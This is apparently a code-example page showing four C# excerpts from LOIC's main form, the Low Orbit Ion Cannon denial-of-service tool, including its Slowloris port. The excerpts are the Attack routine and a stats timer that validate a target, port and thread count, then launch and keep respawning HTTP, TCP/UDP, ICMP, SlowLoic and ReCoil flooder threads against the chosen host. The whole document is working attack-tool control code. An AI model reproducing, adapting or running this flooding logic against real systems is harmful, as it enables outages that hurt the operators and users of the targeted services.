SlowLoic is the port of RSnake's SlowLoris
Inheritance: cHLDos
コード例 #1
0
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if ((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if (tShowStats.Enabled)
                    {
                        tShowStats.Stop();
                    }

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort))
                    {
                        HandleError("Invalid port.", silent);
                        return;
                    }
                    if (!Functions.ParseInt(txtThreads.Text, 1, (bKonami ? 1337 : 99), out iThreads))
                    {
                        HandleError("Too many threads!  Lower than 100, please.", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                    {
                        throw new Exception("Select a target.");
                    }

                    sMethod  = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol)Enum.Parse(typeof(Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if (protocol == Protocol.None)
                    {
                        HandleError("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if (String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP))
                    {
                        HandleError("No contents specified.", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith("/") && (int)protocol >= (int)Protocol.HTTP && (int)protocol != (int)Protocol.ICMP)
                    {
                        HandleError("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse(txtTimeout.Text, out iTimeout) || iTimeout < 1)
                    {
                        HandleError("Invalid number in timeout box.", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout        = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil || protocol == Protocol.ICMP)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                        {
                            throw new Exception("Please enter a number.");
                        }
                    }
                }
                catch (Exception ex)
                {
                    HandleError(ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled    = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled    = false;
                cbMethod.Enabled     = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled     = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    switch (protocol)
                    {
                    case Protocol.ReCoil:
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        break;

                    case Protocol.slowLOIC:
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.HTTP:
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        break;

                    case Protocol.TCP:
                    case Protocol.UDP:
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        break;

                    case Protocol.ICMP:
                        ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        break;
                    }

                    if (ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if (toggle || !on)
            {
                cmdAttack.Text       = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled    = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled    = true;
                cbMethod.Enabled     = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled     = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }
コード例 #2
0
ファイル: frmMain.cs プロジェクト: xyz12810/LOIC
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if(arr == null || intShowStats)
                return;

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;
            if (cmdAttack.Text == StpFldText)
                isFlooding = true;

            if(arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if(arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = (cHLDos)arr[a];

                        iDownloaded += c.Downloaded;
                        iRequested += c.Requested;
                        iFailed += c.Failed;
                        if(c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                            iIdle++;
                        if (c.State == ReqState.Connecting)
                            iConnecting++;
                        if (c.State == ReqState.Requesting)
                            iRequesting++;
                        if (c.State == ReqState.Downloading)
                            iDownloading++;

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested = c.Requested;
                            int iaFailed = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }

                            if(ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested = iaRequested;
                                ts.Failed = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }

                        if(ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else break;
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text = iFailed.ToString();
            lbRequested.Text = iRequested.ToString();
            lbDownloaded.Text = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text = iRequesting.ToString();
            lbConnecting.Text = iConnecting.ToString();
            lbIdle.Text = iIdle.ToString();

            intShowStats = false;
        }
コード例 #3
0
        /// <summary>
        /// Handles the tShowStats Tick event.
        /// </summary>
        /// <param name="sender">Sender.</param>
        /// <param name="e">EventArgs.</param>
        private void tShowStats_Tick(object sender, EventArgs e)
        {
            // Protect against null reference and race condition
            if (arr == null || intShowStats)
            {
                return;
            }

            intShowStats = true;

            int iIdle = 0;
            int iConnecting = 0, iRequesting = 0, iDownloading = 0;
            int iDownloaded = 0, iRequested = 0, iFailed = 0;

            bool isFlooding = false;

            if (cmdAttack.Text == StpFldText)
            {
                isFlooding = true;
            }

            if (arr.Count > 0)
            {
                for (int a = (arr.Count - 1); a >= 0; a--)
                {
                    if (arr[a] != null && (arr[a] is cHLDos))
                    {
                        cHLDos c = arr[a] as cHLDos;

                        iDownloaded += c.Downloaded;
                        iRequested  += c.Requested;
                        iFailed     += c.Failed;
                        if (c.State == ReqState.Ready ||
                            c.State == ReqState.Completed)
                        {
                            iIdle++;
                        }
                        if (c.State == ReqState.Connecting)
                        {
                            iConnecting++;
                        }
                        if (c.State == ReqState.Requesting)
                        {
                            iRequesting++;
                        }
                        if (c.State == ReqState.Downloading)
                        {
                            iDownloading++;
                        }

                        if (isFlooding && !c.IsFlooding)
                        {
                            cHLDos ts = null;

                            int iaDownloaded = c.Downloaded;
                            int iaRequested  = c.Requested;
                            int iaFailed     = c.Failed;

                            if (protocol == Protocol.ReCoil)
                            {
                                ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.slowLOIC)
                            {
                                ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.HTTP)
                            {
                                ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                            }
                            if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                            {
                                ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                            }
                            if (protocol == Protocol.ICMP)
                            {
                                ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                            }

                            if (ts != null)
                            {
                                arr[a].Stop();
                                arr[a].IsFlooding = false;

                                arr.RemoveAt(a);

                                ts.Downloaded = iaDownloaded;
                                ts.Requested  = iaRequested;
                                ts.Failed     = iaFailed;
                                ts.Start();

                                arr.Add(ts);
                            }
                        }
                    }
                }
                if (isFlooding)
                {
                    while (arr.Count < iThreads)
                    {
                        IFlooder ts = null;

                        if (protocol == Protocol.ReCoil)
                        {
                            ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.slowLOIC)
                        {
                            ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.HTTP)
                        {
                            ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                        }
                        if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                        {
                            ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                        }
                        if (protocol == Protocol.ICMP)
                        {
                            ts = new ICMP(sTargetIP, iDelay, chkMsgRandom.Checked, iSockspThread);
                        }

                        if (ts != null)
                        {
                            ts.Start();
                            arr.Add(ts);
                        }
                        else
                        {
                            break;
                        }
                    }
                    if (arr.Count > iThreads)
                    {
                        for (int a = (arr.Count - 1); a >= iThreads; a--)
                        {
                            arr[a].Stop();
                            arr[a].IsFlooding = false;

                            arr.RemoveAt(a);
                        }
                    }
                }
            }

            lbFailed.Text      = iFailed.ToString();
            lbRequested.Text   = iRequested.ToString();
            lbDownloaded.Text  = iDownloaded.ToString();
            lbDownloading.Text = iDownloading.ToString();
            lbRequesting.Text  = iRequesting.ToString();
            lbConnecting.Text  = iConnecting.ToString();
            lbIdle.Text        = iIdle.ToString();

            intShowStats = false;
        }
コード例 #4
0
ファイル: frmMain.cs プロジェクト: xyz12810/LOIC
        /// <summary>
        /// Attack the specified target
        /// </summary>
        /// <param name="toggle">Whether to toggle.</param>
        /// <param name="on">Whether the attack should start.</param>
        /// <param name="silent">Whether to silence error output.</param>
        private void Attack(bool toggle, bool on, bool silent = false)
        {
            if((cmdAttack.Text == AttackText && toggle) || (!toggle && on))
            {
                try
                {
                    // Protect against race condition
                    if(tShowStats.Enabled) tShowStats.Stop();

                    if (!Functions.ParseInt(txtPort.Text, 0, 65535, out iPort)) {
                        Wtf ("I don't think ports are supposed to be written like THAT.", silent);
                        return;
                    }

                    if (!Functions.ParseInt(txtThreads.Text, 1, 99, out iThreads)) {
                        Wtf ("What on earth made you put THAT in the threads field?", silent);
                        return;
                    }

                    sTargetIP = txtTarget.Text;
                    if (String.IsNullOrEmpty(sTargetIP) || String.IsNullOrEmpty(sTargetHost) || String.Equals(sTargetIP, "N O N E !"))
                        throw new Exception("Select a target.");

                    sMethod = cbMethod.Text;
                    protocol = Protocol.None;
                    try {
                        protocol = (Protocol) Enum.Parse (typeof (Protocol), sMethod, true);
                        // Analysis disable once EmptyGeneralCatchClause
                    } catch { }
                    if(protocol == Protocol.None) {
                        Wtf ("Select a proper attack method.", silent);
                        return;
                    }

                    sData = txtData.Text.Replace(@"\r", "\r").Replace(@"\n", "\n");
                    if(String.IsNullOrEmpty(sData) && (protocol == Protocol.TCP || protocol == Protocol.UDP)) {
                        Wtf ("Gonna spam with no contents? You're a wise fellow, aren't ya? o.O", silent);
                        return;
                    }

                    sSubsite = txtSubsite.Text;
                    if (!sSubsite.StartsWith ("/") && ((int)protocol >= (int)Protocol.HTTP)) {
                        Wtf ("You have to enter a subsite (for example \"/\")", silent);
                        return;
                    }

                    if (!int.TryParse (txtTimeout.Text, out iTimeout) || iTimeout < 1) {
                        Wtf ("What's up with something like that in the timeout box? =S", silent);
                        return;
                    }
                    if (iTimeout > 999)
                    {
                        iTimeout = 30;
                        txtTimeout.Text = "30";
                    }

                    bResp = chkWaitReply.Checked;

                    if (protocol == Protocol.slowLOIC || protocol == Protocol.ReCoil)
                    {
                        if (!int.TryParse(txtSLSpT.Text, out iSockspThread) || iSockspThread < 1)
                            throw new Exception("A number is fine too!");
                    }
                }
                catch (Exception ex)
                {
                    Wtf (ex.Message, silent);
                    return;
                }

                cmdAttack.Text = StpFldText;
                //let's lock down the controls, that could actually change the creation of new sockets
                chkAllowGzip.Enabled = false;
                chkUseGet.Enabled = false;
                chkMsgRandom.Enabled = false;
                chkRandom.Enabled = false;
                cbMethod.Enabled = false;
                chkWaitReply.Enabled = false;
                txtSLSpT.Enabled = false;

                if (arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                    arr.Clear();
                }

                for (int i = 0; i < iThreads; i++)
                {
                    IFlooder ts = null;

                    if (protocol == Protocol.ReCoil)
                    {
                        ts = new ReCoil(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, bResp, iSockspThread, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.slowLOIC)
                    {
                        ts = new SlowLoic(sTargetHost, sTargetIP, iPort, sSubsite, iDelay, iTimeout, chkRandom.Checked, iSockspThread, true, chkUseGet.Checked, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.HTTP)
                    {
                        ts = new HTTPFlooder(sTargetHost, sTargetIP, iPort, sSubsite, bResp, iDelay, iTimeout, chkRandom.Checked, chkUseGet.Checked, chkAllowGzip.Checked);
                    }
                    if (protocol == Protocol.TCP || protocol == Protocol.UDP)
                    {
                        ts = new XXPFlooder(sTargetIP, iPort, (int)protocol, iDelay, bResp, sData, chkMsgRandom.Checked);
                    }

                    if(ts != null)
                    {
                        ts.Start();
                        arr.Add(ts);
                    }
                }

                tShowStats.Start();
            }
            else if(toggle || !on)
            {
                cmdAttack.Text = AttackText;
                chkAllowGzip.Enabled = true;
                chkUseGet.Enabled = true;
                chkMsgRandom.Enabled = true;
                chkRandom.Enabled = true;
                cbMethod.Enabled = true;
                chkWaitReply.Enabled = true;
                txtSLSpT.Enabled = true;

                if (arr != null && arr.Count > 0)
                {
                    foreach (IFlooder i in arr)
                    {
                        i.Stop();
                        i.IsFlooding = false;
                    }
                }
            }
        }